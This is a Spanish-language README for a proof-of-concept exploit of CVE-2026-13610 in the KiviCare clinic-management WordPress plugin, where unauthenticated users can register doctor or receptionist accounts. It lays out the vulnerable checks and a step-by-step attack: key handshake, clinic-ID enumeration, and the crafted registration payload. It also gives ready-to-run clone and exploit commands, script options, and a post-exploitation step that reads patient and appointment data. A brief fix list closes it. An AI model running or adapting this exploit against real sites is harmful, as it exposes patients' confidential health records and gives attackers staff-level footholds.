
Exploit PoC para la creación no autenticada de cuentas de médico/recepcionista en el plugin KiviCare de WordPress mediante una gestión inadecuada de privilegios, proporcionando acceso a PHI a nivel de personal.
CWE-269 (Gestión inadecuada de privilegios) | Registro no autenticado con un rol de personal elegido por el atacante → divulgación de PHI del paciente
Vulnerabilidad crítica en el plugin de WordPress KiviCare – Clinic & Patient Management System (versiones hasta la 4.5.1 inclusive) que permite a atacantes no autenticados registrar una cuenta de médico (kiviCare_doctor) o recepcionista (kiviCare_receptionist) con una contraseña elegida por ellos mismos, asignada a una clínica elegida por el atacante.
La vulnerabilidad existe porque el endpoint de registro público toma el parámetro user_role directamente del cuerpo de la solicitud, y su lista blanca de validación incluye roles de personal de la clínica:
| Punto de control | Qué hace | Resultado |
|---|---|---|
permission_callback | No is_user_logged_in(), no nonce, no capability check | Pasa; termina con return true |
Lista blanca de user_role | Acepta kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | El atacante selecciona un rol de personal |
Parámetro patient_role_only | Declarado con valor por defecto yes | Nunca se lee — parámetro muerto |
| reCAPTCHA | Solo se valida if (isset($params['recaptchaToken'])) | Se evade omitiendo el parámetro |
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Gestión inadecuada de privilegios) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Afecta | Versiones hasta la 4.5.1 inclusive |
| Parcheado | No confirmado al momento de este análisis |
| Tipo | Creación no autenticada de cuentas con rol de personal (escalada de privilegios) |
| Investigador | Sai Praneeth Koti |
| Publicado | 2026 |
El endpoint de registro POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) está protegido únicamente por
checkRegistrationPermission() (:602–650), que:
true inmediatamente si users_can_register está habilitado (sin comprobación de autenticación).KCOption::get() devuelve null en instalaciones predeterminadas.return true al final de la función.El controlador register() (:1277–1387) lee entonces user_role del
cuerpo de la solicitud, lo asigna a los modelos KCDoctor / KCReceptionist y llama a
$model->save() — que ejecuta wp_insert_user() y
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sin ninguna
comprobación de autorización. La cuenta resultante está activa y asignada
a la clínica elegida por el atacante.
El cifrado E2EE del cuerpo del plugin no es una barrera: los endpoints de handshake
(server-key, config/register-key) no están autenticados
(app/controllers/api/ConfigController.php:190–205), por lo que cualquier cliente puede
negociar una clave de invitado y enviar un payload cifrado.
Análisis completo: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
El script detecta automáticamente el modo de transporte (JSON plano vs cifrado E2EE)
y enumera los IDs de clínica cuando no se proporciona --clinic.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Inicia sesión vía REST, reasocia la clave de respuesta E2EE de la cuenta y luego llama
a endpoints solo para personal (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Una explotación exitosa produce una cuenta de personal activa asignada a una clínica real, sin necesidad de autenticación:
wp-admin (read +
upload_files) — un punto de apoyo para ataques posterioresEl endpoint no permite crear una cuenta administrator de WordPress
(la lista blanca de user_role la rechaza), pero el rol de médico es suficiente para
el acceso completo a los datos clínicos.
patient_role_onlycurrent_user_can('create_users') + verificación de noncecheckRegistrationPermission — eliminar el
return true finalrecaptchaToken cuando reCAPTCHA está habilitado (actualmente opcional)SOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.